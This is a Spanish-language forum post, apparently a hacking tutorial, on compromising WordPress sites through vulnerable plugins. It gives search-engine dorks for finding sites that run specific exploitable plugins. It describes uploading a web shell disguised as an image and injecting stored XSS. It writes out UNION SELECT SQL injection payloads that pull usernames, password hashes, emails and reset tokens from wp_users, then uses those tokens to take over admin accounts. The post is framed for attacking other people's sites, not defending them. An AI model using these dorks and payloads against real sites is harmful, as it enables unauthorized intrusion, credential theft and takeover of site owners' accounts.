
WordPress ¿Qué es?
WordPress es un sistema de gestión de contenido (en inglés Content Management System, o CMS) enfocado a la creación de blogs (sitios web periódicamente actualizados). Desarrollado en PHP y MySQL, bajo licencia GPL y código modificable. WordPress se ha convertido junto a Movable Type en el CMS más popular de la blogosfera y en el más popular con respecto a cualquier otro CMS de aplicación general. Las causas de su enorme crecimiento son, entre otras, su licencia, su facilidad de uso y sus características como gestor de contenidos.
WordPress ¿Objetivo de Hackers?
Según Wikipedia: WordPress es usado por más del 16,7% en el rank Alexa Internet "top 1 million" de sitios web y en agosto de 2011 gestiona el 22% de todos los nuevos sitios web.
Esto y debido a los miles de plugins y temas disponibles para WordPress, no hace falta decir que los programadores han codificado descuidadamente una parte equitativa de estos y que las posibilidades de una mayor escalada de privilegio para el hacker si encuentra un sitio web utilizando un plugin explotable o no actualizados . Estos pueden ir desde las vulnerabilidades de tipo SQLi a LFI de la que voy a explicar más abajo. Pero en términos más simples un plugin web explotable eventualmente puede conducir a la administración y el acceso total al servidor.
¿Cómo encontramos sitios web que utilicen WordPress?
Usando dorks simples que pueden ser eficaces, por ejemplo:
Código: Seleccionar todo
intext:"Proudly powered by WordPress. "
intext:"Powered by WordPress. "
Código: Seleccionar todo
inurl: /wordpress/wp-content/plugins/
Código: Seleccionar todo
http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=wordpress&filter_author=&filter_platform=0&filter_type=0&filter_port=&filter_osvdb=&filter_cve=
1) Arbitrary File Upload: Easy Comment Uploads - Version - 3.2.1, usamos la siguiente dork:
Código: Seleccionar todo
inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php

Después de eso, es muy sencillo subir y localizar nuestra shell, solo queda disfrutar de ella.
2) Stored XSS: Version 3.2.3, usamos la siguiente dork:
Código: Seleccionar todo
inurl:/wp-content/plugins/count-per-day/notes.php

Podemos inyectar cualquier codigo javascript (XSS) la cual automaticamente se almacenara en el stored. El archivo "notes.php" no se limita solo a los administradores, por lo tanto cualquier persona puede acceder al archivo.
3) Arbitrary File Upload: Custom Content Type Manager, usamos la siguiente dork:
Código: Seleccionar todo
inurl:/wp-content/plugins/custom-content-type-manager/upload_form.php

Desde ahí se puede subir una shell, pero tenemos que cargarlo como una extensión de imagen (JPG/PNG/GIF). Para acceder a la shell, la encontraremos la siguiente manera:
Código: Seleccionar todo
http://www.sitio-web.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg
4) SQL Injection: Wordpress HD Webplayer - Version 1.1, usamos la siguiente dork:
Código: Seleccionar todo
inurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid=

Desde ahí se puede hacer una inyección básica, en primer lugar nos encontramos con las columnas, digamos que tiene 11, entonces inyectamos de la siguiente manera:
Código: Seleccionar todo
videoid=2+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7,8,9,10,11+from+wp_users

5) [Full-disclosure] WordPress <= 2.8.3 Remote admin reset password
Esta vulnerabilidad se puede utilizar cuando tenemos un sitio web WordPress vulnerable a SQL Injection, la cual podemos obtener los datos administrativos como son el USUARIO, E-MAIL y PASSWORD, pero como ya sabemos y apreciamos en la imagen anterior, todo PASSWORD de WordPress estan encryptadas de una manera que es muy dificil de desencryptar, para ello usaremos esto metodo que consiste en Resetear el Password con el usuario o e-mail administrativo, la cual obtendremos un Token con lo que facilmente podemos cambiar la contraseña administrativa.
Obtendremos el user_login y user_email de la siguiente manera:
Código: Seleccionar todo
/*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_email,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users

Presionaremos en "Get New Password" la cual el sitio web enviara una codigo de activacion (Token) entonces como es logico, dicho Token se almacena en la DB, por lo tanto obtendremos dicho codigo de la siguiente manera:
Código: Seleccionar todo
/*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_activation_key,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users
Código: Seleccionar todo
http://www.sitio-web.com/wp-login.php?action=rp&key=Token&login=Usuario
Código: Seleccionar todo
http://www.sitio-web.com/wp-login.php?action=rp&key=RXr7T7lplszV&login=admin

6) Full Path Disclosure (FPD), usaremos la siguiente dork:
Código: Seleccionar todo
inurl:"/wp-includes/

Dando click en cualquiera de los archivos, facilmente el sitio web nos mostrara el Path (ubicacion) de sus archivos.
Ejemplo:
Código: Seleccionar todo
http://www.vulnerability-lab.com/dev/wp-includes/admin-bar.php

Mayormente esta Vulnerabilidad lo tienen el 80% de todos los sitios WordPress, pues facilmente podemos ir a cualquier sitio (WordPress) y diriginos a /wp-includes/ para apreciar dicha vulnerabilidad.
7) Fingerprinting WordPress version:
Este metodo sirve para obtener las versiones correcta de un sitio WordPress, para ello existen muchas herramientas como son:
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
Esas herramientas aparte de obtener la versión de WordPress de la página web, tambien puede obtener información sobre las versiones de los plugins instalados y compara su versión a la última y más a la versión de los datos disponibles en la actualidad que indica si puede ser vulnerable o no.
Es todo por ahora.
Saludos.